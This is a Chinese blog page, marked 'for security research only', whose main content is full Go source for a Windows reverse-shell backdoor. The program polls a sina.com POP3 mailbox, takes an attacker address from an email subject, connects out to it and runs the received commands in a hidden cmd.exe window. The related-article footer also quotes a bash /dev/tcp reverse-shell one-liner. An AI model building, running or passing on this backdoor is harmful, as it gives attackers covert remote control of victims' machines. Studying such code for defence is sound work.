仅作安全研究

package main
import (
"os/exec"
"go-pop3"
"log"
"strings"
"net"
// "fmt"
"syscall"
"bufio"
"time"
) //反弹shell函数
func reverseshell(addr string){ if c,_:=net.Dial("tcp", addr); c != nil {
for{
status, _ := bufio.NewReader(c).ReadString('\n');
//显示输入命令
// fmt.Println(status)
//输入exit命令退出
if status == "exit\n" {
break
}
//输入Ctrl+C时字符为空退出
if status == "" {
break
}
//执行命令返回结果
cmd := exec.Command("cmd", "/C", status)
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
out, _ := cmd.Output();
c.Write([]byte(out))
}
}
} //获取Email中的地址并调用反弹shell函数
func Get_Address_to_Rverse_shell(username string, password string){ client, err := pop3.Dial("pop.sina.com:110") if err != nil {
log.Fatalf("Error: %v\n", err)
} defer func() {
client.Quit()
client.Close()
}() if err = client.User(username); err != nil {
log.Printf("Error: %v\n", err)
return
} if err = client.Pass(password); err != nil {
log.Printf("Error: %v\n", err)
return
} var count int
var size uint64 if count, size, err = client.Stat(); err != nil {
log.Printf("Error: %v\n", err)
return
} log.Printf("Count: %d, Size: %d\n", count, size) var content string if content, err = client.Retr(count); err != nil {
log.Printf("Error: %v\n", err)
return
} if err = client.Dele(count); err != nil {
log.Printf("Error: %v\n", err)
return
} if err = client.Noop(); err != nil {
log.Printf("Error: %v\n", err)
return
} if err = client.Rset(); err != nil {
log.Printf("Error: %v\n", err)
return
} //处理邮件object,获取地址
list := strings.Split(content, "\r\n")
for i := 0; i < len(list); i++ {
line := list[i]
if strings.Contains(line, "Subject:"){
addrlist := strings.Split(line, ":")
if len(addrlist) == 3 {
temp_addr := addrlist[1] + ":" + addrlist[2]
ADDR := strings.Replace(temp_addr, " ", "", -1)
reverseshell(ADDR)
// go reverseshell(ADDR)
}
}
}
} func main(){ username := "xxx"
password := "xxx"
for{
Get_Address_to_Rverse_shell(username, password)
time.Sleep(10 * time.Second)
} }

golang写的反弹shell(自作孽不可活,切记,切记!)的更多相关文章

  1. Linux下几种反弹Shell方法的总结与理解

    之前在网上看到很多师傅们总结的linux反弹shell的一些方法,为了更熟练的去运用这些技术,于是自己花精力查了很多资料去理解这些命令的含义,将研究的成果记录在这里,所谓的反弹shell,指的是我们在 ...

  2. 13. linux渗透之反弹shell

    实验环境 CentOS 6.5:192.168.0.3 kali2.0:192.168.0.4 方法1: 反弹shell命令如下: bash -i >& /dev/tcp/ip/port ...

  3. Linux下反弹shell的种种方式

    [前言:在乌云社区看到反弹shell的几种姿势,看过之余自己还收集了一些,动手试了下,仅供参考] 0x01 Bash bash -i >& /dev/tcp/ >& 这里s ...

  4. 浅析重定向与反弹Shell命令

    0×01    简介 反弹shell在漏洞证明和利用的过程中都是一个直接有力的手段.由于安全工作或者学习的需要,我们或多或少都会接触到各种反弹shell的命令,于是就有了这个能稍微帮助初学者理解的文档 ...

  5. 从一次渗透谈到linux如何反弹shell

    零.绪论 背景: ThinkPHP框架的--> 找到一个OS命令注入(很简单的Burp可以直接扫出来的那种):页面配置系统默认网关处. 一.渗透过程 1.首先看了一下,没有回显. 2.用ceye ...

  6. 反弹Shell原理及检测技术研究

    1. 反弹Shell的概念本质 所谓的反弹shell(reverse shell),就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端. 本文会先分别讨论: ...

  7. [Shell]多姿势反弹shell

    客户端监听本地: nc -nvlp 4444 从原生的 shell 环境切换到 linux 的交互式 bash 环境: python -c 'import pty; pty.spawn("/ ...

  8. Struts2漏洞导致的反弹shell——青藤云安全使用的是agent进程采集器进行检测

    安全老司机 | Struts2漏洞爆发后,与黑客的一次正面交锋 from:https://zhuanlan.zhihu.com/p/66122521  备注: 青藤云安全:——用的是进程信息采集器 通 ...

  9. 【技术分享】linux各种一句话反弹shell总结——攻击者指定服务端,受害者主机(无公网IP)主动连接攻击者的服务端程序(CC server),开启一个shell交互,就叫反弹shell。

    反弹shell背景: 想要搞清楚这个问题,首先要搞清楚什么是反弹,为什么要反弹.假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常规 ...

随机推荐

  1. Matlab-5:牛顿迭代法工具箱

    function [f,L]=Newton(f,a) %this is newton teration whic is used for solving implicit One-dimensiona ...

  2. python-前20天的着重知识点

    1.CPU存在两种工作状态:一种是内核态,操作系统在运行--可以操作硬件: 另一种是用户态,是应用软件在运行--不可以操作硬件. 应用软件要控制硬件,就要从用户态切换成内核态 2.多道技术:(多道指的 ...

  3. sonar-gerrit plugin配置

    配置 sonar-gerrit plugins stepspre-condition:1. Sonarqube(5.5及以上,本文使用的版本为6.1.3)关于如何安装配置Sonarqube,请参考其他 ...

  4. 跳转到页面的某个anchor

    var loc = document.location.toString().split('#')[0]; document.location = loc + '#' + anchor;

  5. nodejs 解析excel文件

    app.js: var FileUpload = require('express-fileupload') app.use(FileUpload()); service.js: npm instal ...

  6. reload() 函数

    reload() 函数 当一个模块被导入到一个脚本,模块顶层部分的代码只会被执行一次. 因此,如果你想重新执行模块里顶层部分的代码,可以用 reload() 函数.该函数会重新导入之前导入过的模块.语 ...

  7. MyBatis Spring整合配置映射接口类与映射xml文件

    本文转自http://blog.csdn.net/zht666/article/details/38706083 Spring整合MyBatis使用到了mybatis-spring,在配置mybati ...

  8. 回声UDP服务器端/客户端

    UDP是具有数据边界的协议,传输中调用I/O函数的次数非常重要.输入函数的调用次数要和输出函数的调用次数完全一致,这样才能保证接受全部已发送的数据. TCP套接字中需注册待传输数据的目标IP和端口,而 ...

  9. JAVA设计模式(一)单例模式

    单例设计模式 Singleton是一种创建型模式,指某个类采用Singleton模式,则在这个类被创建后,只可能产生一个实例供外部访问,并且提供一个全局的访问点. 核心知识点如下: (1) 将采用单例 ...

  10. 运行TensorFlow出现Your CPU supports instructions that this TensorFlow binary was not compiled to use: AV

    原因: import os #在顶头位置加上 os.environ["TF_CPP_MIN_LOG_LEVEL"]='1' # '1'表示默认的显示等级,运行时显示所有信息 os. ...